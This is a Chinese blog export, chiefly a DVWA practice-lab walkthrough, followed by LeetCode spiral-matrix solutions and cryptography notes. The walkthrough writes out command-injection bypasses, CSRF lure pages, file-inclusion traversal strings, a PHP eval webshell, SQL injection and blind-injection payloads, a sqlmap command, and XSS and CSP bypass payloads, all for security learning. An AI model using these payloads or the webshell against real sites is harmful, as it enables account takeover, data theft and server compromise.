    命令1  &&  命令2  表示先执行命令1,成功后接着执行命令2。
    命令1 || 命令2 表示先执行命令1,不成功再执行命令2,命令1执行成功,则不再执行命令2。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    1、“;”分隔符
    用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如:

    输入:命令A;命令B;命令C

    按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。



    2、“&&”分隔符
    同C、C++语言逻辑运算符"&&"类似,遇到首个命令执行失败后,后面的命令不会执行。如:

    输入:命令A && 命令B && 命令C

    先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。



    3、“||”分隔符
    同C、C++语言逻辑运算符"||"类似,遇到首个命令执行成功后,后面的命令不会执行。如:

    输入:命令A || 命令B || 命令C

    先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。

    用黑名单的形势过滤了‘&&’和’;’命令连接符。

    1
    2
    3
    4
    5
    // Set blacklist
    $substitutions = array(
    '&&' => '',
    ';' => '',
    );

    此时,可以只使用’&’来进行命令注入。

    image-20220122114355231

    3.high

    对很多符号都进行了黑名单限制

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // Set blacklist
    $substitutions = array(
    '&' => '',
    ';' => '',
    '| ' => '',
    '-' => '',
    '$' => '',
    '(' => '',
    ')' => '',
    '`' => '',
    '||' => '',
    );

    但其中有一处细节,’| ‘后面有空格,只过滤了有空格的|命令,此时可以通过无空格的’|’来进行命令注入。

    4.impossible

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
    // If all 4 octets are int's put the IP back together.
    $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
    $cmd = shell_exec( 'ping ' . $target );
    }
    else {
    // *nix
    $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    impossible也就是防护方法,通过对ip地址分片,对四个部分进行检查,判断是否都是数字。这样就可以从逻辑上防止命令注入。

    CSRF

    img

    原理:攻击者利用目标用户的身份,以目标用户的名义执行非法操作

    • 目标用户已经登陆了网站,能够执行网站的操作
    • 目标用户访问了攻击者构造的URL

    源代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30

    <?php

    if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
    // They do!
    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new = md5( $pass_new );

    // Update the database
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Feedback for the user
    echo "<pre>Password Changed.</pre>";
    }
    else {
    // Issue with passwords matching
    echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }

    ?>

    1.low

    没有任何防护,可以直接通过url进行修改密码。可以通过“短链接”+“社工”的方式,诱惑受害人点击此链接,从而成功修改密码。

    短链接在线生成:http://tool.chinaz.com/tools/dwz.aspx

    password_new=123&password_conf=123&Change=Change#

    可以伪装成恶意网页,进行欺骗攻击

    1
    2
    3
    4
    <h1>404<h1>

    <a href="http://49.232.78.252:81/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#">W3School</a>
    <h2>file not found.<h2>

    image-20220122223437202

    受害者点开链接之后,密码已被修改。

    网上还有一种攻击方式:

    1
    2
    <img src="http://192.168.50.100/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=
    hack&Change=Change#" border="0" style="display:none;"/>

    打开网页文件即可,不用点击链接。但是已经多次实践未成功。

    2.medium

    image-20220122214135985

    1
    2
    3
    4
    5
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
    // Get input
    $pass_new = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    对referer进行了检查

    1
    2
    3
    4
    5
    6
    7
    8
    9
    GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
    Host: 49.232.78.252:81
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Connection: close
    Referer: http://49.232.78.252:81/vulnerabilities/csrf/
    Cookie: PHPSESSID=9mjbjlhio6pup4mq4ne932fbo2; security=medium
    Upgrade-Insecure-Requests: 1

    添加referer之后便可成功修改密码

    image-20220122220656993

    或者对referer根据判断条件进行伪造

    3.high

    1
    http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change&user_token=367c7e82e1c3e847203981e6d36ced78#

    在url后面添加了token

    通过XSS弹出token

    1
    2
    3
    <img src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
    或者
    <iframe src="../csrf"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

    image-20220122224913629

    在URL后面加上通过XSS窃取的token,即可攻击成功。

    文件包含

    1.low

    image-20220123153556747

    1
    2
    3
    4
    5
    6
    <?php

    // The page we wish to display
    $file = $_GET[ 'page' ];

    ?>

    image-20220123154324075

    可以直接读取phpinfo

    本地文件包含:

    1
    http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\\wamp\\www\\DVWA\\phpinfo.php

    远程文件包含:

    1
    http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1//DVWA//about.php

    也可以通过php协议读取。

    image-20220123155108903

    2.medium

    对输入进行了验证,对不法字符进行替换。

    1
    2
    3
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file );

    str_replace函数是不安全的,可以采用双写进行绕过。

    1
    http://127.0.0.1/DVWA/vulnerabilities/fi/?page=htthttp://p://127.0.0.1//123.txt
    1
    http://127.0.0.1/DVWA/vulnerabilities/fi/?page=....//....//....//123.txt
    1
    http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././..././123.txt

    3.high

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php

    // The page we wish to display
    $file = $_GET[ 'page' ];

    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
    }

    ?>
    1
    http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D://wamp//install.txt

    payload如下:

    新建文件123.txt

    1
    2
    3
    4
    5
    <?php
    phpinfo();
    ?>
    hello world
    @@@@@

    image-20220123200007635

    文件上传

    1.low

    无任何限制,可直接上传文件

    但是对文件大小做了限制,可以在前端进行修改。

    上传一句话木马,然后用get传参进行攻击。

    1
    http://127.0.0.1/DVWA/hackable/uploads/cmd.php?cmd=system(%22dir%22);

    2.medium

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    <?php

    if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
    ( $uploaded_size < 100000 ) ) {

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
    // No
    echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
    // Yes!
    echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
    }
    else {
    // Invalid file
    echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
    }

    ?>

    对文件类型进行了限制,只能上传jpeg/PNG.

    可以通过修改后缀名进行绕过

    首先写一句话木马

    1
    2
    3
    <?php
    @eval($_REQUEST['cmd']);
    ?>

    修改文件名为:cmd.php.jpeg或者cmd.jpeg

    然后通过burpsuite进行抓包,修改文件名,并进行重放。即可上传成功。修改为php后缀。

    image-20220123234346994

    可以看到,上传成功

    image-20220123234449958

    然后用蚁剑连接即可。

    拿下!

    image-20220123234540979

    也可以直接通过get传参。

    image-20220123235016536

    image-20220123235708181

    3.high

    或者修改文件头为:GIF89

    制作图片马,进行上传。

    命令:

    image-20220124001307489

    image-20220124000341406

    然后利用远程文件包含漏洞。或者“命令注入漏洞”。

    image-20220124001628374

    不安全验证码

    这里需要Google API,实验环境不具备。

    本质上来说,是利用验证码检测的逻辑漏洞,通过修改参数,进行绕过。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    <?php

    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
    $_DVWA[ 'recaptcha_private_key'],
    $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
    // What happens when the CAPTCHA was entered incorrectly
    $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
    $hide_form = false;
    return;
    }
    else {
    // CAPTCHA was correct. Do both new passwords match?
    if( $pass_new == $pass_conf ) {
    // Show next stage for the user
    echo "
    <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
    <form action=\"#\" method=\"POST\">
    <input type=\"hidden\" name=\"step\" value=\"2\" />
    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
    <input type=\"submit\" name=\"Change\" value=\"Change\" />
    </form>";
    }
    else {
    // Both new passwords do not match.
    $html .= "<pre>Both passwords must match.</pre>";
    $hide_form = false;
    }
    }
    }

    if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
    // They do!
    $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new = md5( $pass_new );

    // Update database
    $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Feedback for the end user
    echo "<pre>Password Changed.</pre>";
    }
    else {
    // Issue with the passwords matching
    echo "<pre>Passwords did not match.</pre>";
    $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }

    SQL注入

    1.low

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php

    if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
    // Get values
    $first = $row["first_name"];
    $last = $row["last_name"];

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
    }

    ?>

    输入:1’ and 1=1

    报错:

    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

    输入:1’ and 1=1 #

    image-20220124213648935

    判断字段长度

    1’ order by 1 #

    输入3,出现报错。

    说明只有两个字段。

    判断回显:1’ union select 1,2 #

    然后代入查询

    image-20220124220733662

    获取表:

    1
    1' union select 1,table_name from information_schema.tables where table_schema='dvwa

    image-20220124221050252

    如果表比较多:

    1
    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa

    然后查询字段:

    1
    1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users

    image-20220124221524714

    1
    1' union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

    image-20220124221846909

    MD5解密即可:

    image-20220124221948385

    image-20220126190404257

    也可以通过sqlmap进行注入。

    1
    python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; security_level=0; PHPSESSID=2skes96bbgh4hn8js60vknurp1" -D dvwa -T users --columns

    image-20220126191946435

    2.medium

    image-20220124231311544

    不能自己输入数据

    image-20220124224410909

    直接用burpsuite抓包

    image-20220124224442044

    id=1 or 1=1#&Submit=Submit

    image-20220124224747335

    image-20220124224948257

    然后按照Low级别进行注入即可。

    image-20220124230216520

    这里对单引号进行了转义,可以用16进制或者Mysql函数进行绕过。

    image-20220124230508389

    1
    2
    s='users'.encode('utf-8')
    print(s.hex())

    image-20220124231444083

    也可以通过hackbar提交POST

    先通过BP抓包,保存为文件 ,然后用sqlmap进行注入。

    3.high

    在新的一个页面进行查询,防止常规sqlmap注入。

    image-20220124233237791

    在sqlmap中,可以用second-url指定参数,然后进行注入。

    盲注

    1.low

    image-20220126214941988

    image-20220126221926938

    存在字符型注入。

    然后判断数据库名称长度:

    1
    2
    3
    4
    1' and length(database())=1#
    1' and length(database())=2#
    1' and length(database())=3#
    1' and length(database())=4# 存在

    然后逐字符进行判断:

    1
    1' and ascii(substr(database(),1,1))<122# 可使用二分法

    也可以使用时间注入的方法:

    1
    2
    1'and sleep(3)#  有延迟
    1 and sleep(3)# 无延迟
    1
    1' and if(ascii(substr(database(),1,1))<120,sleep(5),1)#

    2.medium

    跟前一模块一样,先burpsuite抓包,再进行注入。

    3.high

    跟前一模块相同。

    weak Session IDs

    1.low

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php

    $html = "";

    if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
    $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
    }
    ?>

    image-20220127212611823

    每按一次,session_id+1,因此可以猜解。

    2.medium

    1
    2
    3
    4
    5
    6
    7
    8
    9
     <?php

    $html = "";

    if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
    }
    ?>

    cookie的值是系统当前时间。

    image-20220127213037481

    3.high

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php

    $html = "";

    if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
    $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
    }

    ?>

    XSS

    1.low

    无任何过滤,直接XSS,<script>alert(1)</script>

    2.medium

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
    }

    ?>

    双写绕过:

    1
    <scrip<script>t>alert(/xss/)</script>

    大小写绕过:

    1
    <Script>alert(/xss/)</script>

    3.high

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php

    header ("X-XSS-Protection: 0");

    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
    }

    ?>

    过滤了’script’,可以用其他标签绕过

    1
    <img src="" onerror=alert(1)>

    CSP绕过

    1.low

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php

    $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.

    header($headerCSP);

    # These might work if you can't create your own for some reason
    # https://pastebin.com/raw/R570EE00
    # https://hastebin.com/raw/ohulaquzex

    ?>
    <?php
    if (isset ($_POST['include'])) {
    $page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
    ";
    }
    $page[ 'body' ] .= '
    <form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
    </form>
    ';

    image-20220204095601218

    打开给定的网站

    image-20220204095512846写入一段Js代码

    image-20220204095953637

    image-20220204095936972

    2.medium

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php

    $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

    header($headerCSP);

    // Disable XSS protections so that inline alert boxes will work
    header ("X-XSS-Protection: 0");

    # <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

    ?>
    <?php
    if (isset ($_POST['include'])) {
    $page[ 'body' ] .= "
    " . $_POST['include'] . "
    ";
    }
    $page[ 'body' ] .= '
    <form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
    </form>
    ';

    输入:

    1
    <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

    payload: <script src="source/jsonp.php?callback=alert('1');"></script>

    ]]>
    + + + + + 渗透 + + + + +
    + + + + + 螺旋矩阵输出 + + /2022/01/17/juzhen/ + + 题目链接:https://leetcode-cn.com/problems/spiral-matrix/

    题目要求:

    给定一个m x n大小的矩阵(m行,n列),按螺旋的顺序返回矩阵中的所有元素。

    举例:

    1
    2
    输入:[[1,2,3],[4,5,6],[7,8,9]]
    返回:[1,2,3,6,9,8,7,4,5]
    image-20220118182124918

    首先遍历最外圈,然后将矩阵缩小一圈,递归进行。

    要注意边界条件,即矩阵为空,或1行或只有1列的情况。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    递归方法
    class Solution:
    def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
    m=len(matrix)
    if m==0 or len(matrix[0])==0:
    return []
    n=len(matrix[0])

    newlist=matrix[0]
    if m>1:

    for i in range(1,m):
    newlist.append(matrix[i][n-1])

    for j in range(n-2,-1,-1):
    newlist.append(matrix[m-1][j])
    if n>1:
    for i in range(n-2,0,-1):
    newlist.append(matrix[i][0])

    M=[]
    for k in range(1,m-1):
    t=matrix[k][1:-1]
    M.append(t)

    return newlist+self.spiralOrder(M)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    思路清晰方法:
    class Solution:
    def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
    res=[]
    if len(matrix)==0:
    return []
    #定义四个边界点
    left=0
    right=len(matrix[0])-1
    top=0
    bottom=len(matrix)-1
    #在不超过边界的条件下,进行一轮循环
    while (top<bottom and left<right):
    for i in range(left,right):
    res.append(matrix[top][i])
    for i in range(top,bottom):
    res.append(matrix[i][right])
    for i in range(right,left,-1):
    res.append(matrix[bottom][i])
    for i in range(bottom,top,-1):
    res.append(matrix[i][left])
    left+=1
    top+=1
    right-=1
    bottom-=1

    #如果剩余1行或1列:left=0 right1
    if top==bottom:
    for i in range(left,right+1):
    res.append(matrix[top][i])
    elif left==right:
    for i in range(top,bottom+1):
    res.append(matrix[i][left])
    return res

    撞墙法,即改变方向法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    class Solution:
    def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
    if not matrix:return []

    x=y=0 # 矩阵元素位置初始化
    res = [] # 初始化,存储遍历后的矩阵元素
    dx = [ 0, 1, 0,-1] # 方向:右,下,左,上
    dy = [ 1, 0,-1, 0] # 注:与通常平面坐标系 记号 不同
    di = 0 # 初始化方向变量
    visited = set() # 初始化集合,存储已走过的坐标
    m,n = len(matrix),len(matrix[0]) # 矩阵的行列

    for i in range(m*n): #
    res.append(matrix[x][y]) # 存储遍历矩阵过的元素
    visited.add((x,y)) # 存储遍历过的坐标
    tx,ty = x+dx[di],y+dy[di] # 先记录下一步坐标,用于判断下一步怎么走
    if 0<=tx<m and 0<=ty<n and (tx,ty) not in visited: # 判断坐标是否需变向,且没有遍历过
    x,y = tx,ty
    else:
    di = (di+1)%4 # 改变方向,右下左上为一圈,防止方向坐标越界
    x,y = x + dx[di],y+dy[di] # 下一步坐标
    return res
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    class Solution(object):
    def spiralOrder(self, matrix):
    """
    :type matrix: List[List[int]]
    :rtype: List[int]
    """
    if not matrix or not matrix[0]: return []
    M, N = len(matrix), len(matrix[0])
    left, right, up, down = 0, N - 1, 0, M - 1
    res = []
    x, y = 0, 0
    dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)]
    cur_d = 0
    while len(res) != M * N:
    res.append(matrix[x][y])
    if cur_d == 0 and y == right:
    cur_d += 1
    up += 1
    elif cur_d == 1 and x == down:
    cur_d += 1
    right -= 1
    elif cur_d == 2 and y == left:
    cur_d += 1
    down -= 1
    elif cur_d == 3 and x == up:
    cur_d += 1
    left += 1
    cur_d %= 4
    x += dirs[cur_d][0]
    y += dirs[cur_d][1]
    return res

    大神版:

    1
    2
    3
    4
    5
    6
    7
    8
    def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
    res = []
    while matrix:
    # 削头(第一层)
    res += matrix.pop(0)
    # 将剩下的逆时针转九十度,等待下次被削
    matrix = list(zip(*matrix))[::-1]
    return res
    ]]>
    + + + + + 算法 + + + + +
    + + + + + 密码学笔记 + + /2022/01/02/crypto/ + +

    李卫海PPT学习笔记

    其他概念

    Needham-Schroeder协议

    利用对称密码技术分发密钥。A,B分别与T有静态密钥。借助信任权威T,分发对称密钥Kab

    多项式GCD算法

    重点:模重复平方算法

    1
    2
    3
    4
    5
    6
    c=1
    for i =k-1 to 0:
    c=(c^2)mod n
    if ei==1:
    c=c*m mod n
    return

    难点:AES列混合矩阵计算,有限域上的多项式模运算。

    对合算法

    对合运算:f =f‘ ,模 2加运算是对合运算。
    密码算法是对和运算,则加密算法=解密算法,工程实现工
    作量减半。

    同态加密(英语:Homomorphic encryption)是一种加密形式,它允许人们对密文进行特定形式的代数运算得到仍然是加密的结果,将其解密所得到的结果与对明文进行同样的运算结果一样。换言之,这项技术令人们可以在加密的数据中进行诸如检索、比较等操作,得出正确的结果,而在整个处理过程中无需对数据进行解密。其意义在于,真正从根本上解决将数据及其操作委托给第三方时的保密问题,例如对于各种云计算的应用。

    零知识证明是一种特殊的交互式证明,其中证明者知道问题的答案,他需要向验证者证明“他知道答案”这一事实,但是要求验证者不能获得答案的任何信息。

    可以参考这样一个简单的例子。证明者和验证者都拿到了一个数独的题目,证明者知道一个解法,他可以采取如下这种零知识证明方法:他找出81张纸片,每一张纸片上写上1到9的一个数字,使得正好有9份写有从1到9的纸片。然后因为他知道答案,他可以把所有的纸片按照解法放在一个9乘9的方格内,使得满足数独的题目要求(每列、每行、每个九宫格都正好有1到9)。放好之后他把所有的纸片翻转,让没有字的一面朝上。这样验证者没办法看到纸片上的数字。接下来,验证者就验证数独的条件是否满足。比如他选一列,这时证明者就把这一列的纸片收集起来,把顺序任意打乱,然后把纸片翻过来,让验证者看到1到9的纸片都出现了。整个过程中验证者都无法得知每张纸片的位置,但是却能验证确实是1到9都出现了。

    字频统计攻击

    对凯撒密码,通过识别a-e-i或r-s-t三元组的峰,或jk和xyz的特征,可以获得密钥

    对单表替换密码,破译步骤:

    • 统计密文字母出现频率
    • 将统计结果与自然语言频率表对比,确定部分密钥
    • 结合连接特征和重复特征,确定部分密钥
    • 双、三字母的频率统计表往往很有帮助
    • 从语义上,猜测其它密钥

    已知明文攻击(Known plaintext attack)是一种攻击模式,指攻击者掌握了某段明文 x 和对应密文 y。

    在所有密码分析中,均假设攻击者知道正在使用的密码体制,该假设称为科克霍夫假设。而已知明文攻击也假设攻击者能够获取部分明文和相应密文,如截取信息前段,通过该类型攻击获取加密方式,从而便于破解后段密文。

    希尔密码依赖唯密文攻击较难破解,而通过已知明文攻击则容易攻破。

    **选择明文攻击 **在这种攻击模式中,攻击者可以事先任意选择一定数量的明文,让被攻击的加密算法加密,并得到相应的密文。攻击者的目标是通过这一过程获得关于加密算法的一些信息,以利于攻击者在将来更有效的破解由同样加密算法(以及相关密钥)加密的信息。在最坏情况下,攻击者可以直接获得解密用的钥匙。

    这种攻击模式初看起来并不现实,因为很难想像攻击者可以选择任意的信息并要求加密系统进行加密。不过,在公钥密码学中,这就是一个很现实的模式。这是因为公钥密码方案中,加密用的钥匙是公开的,这样攻击者就可以直接用它来加密任意的信息。

    选择密文攻击 在密码分析中,选择密文攻击指的是一种攻击方式。攻击者掌握对解密机的访问权限,可构造任意密文所对应的明文x。在此种攻击模型中,密码分析者事先任意搜集一定数量的密文,让这些密文透过被攻击的加密算法解密,透过未知的密钥获得解密后的明文。

    唯密文攻击指的是在仅知已加密文字(即密文)的情况下进行攻击。此方案可同时用于攻击对称密码体制和非对称密码体制。
    唯密文攻击所希望达到的目的包括几种,依照成功的程度排列:

    取得原始明文中的部分资讯。
    取得原始明文。
    得知解密用的钥匙。
    穷举法是属于一种唯密文攻击,但一般在设计算法时都会考虑到穷举法。

    一次性密码本(英语:one-time pad,缩写为OTP)是古典密码学中的一种加密算法。是以随机的密钥(key)组成明文,且只使用一次。

    在理论上,此种密码具有完善保密性,是牢不可破的。它的安全性已由·香农所证明。

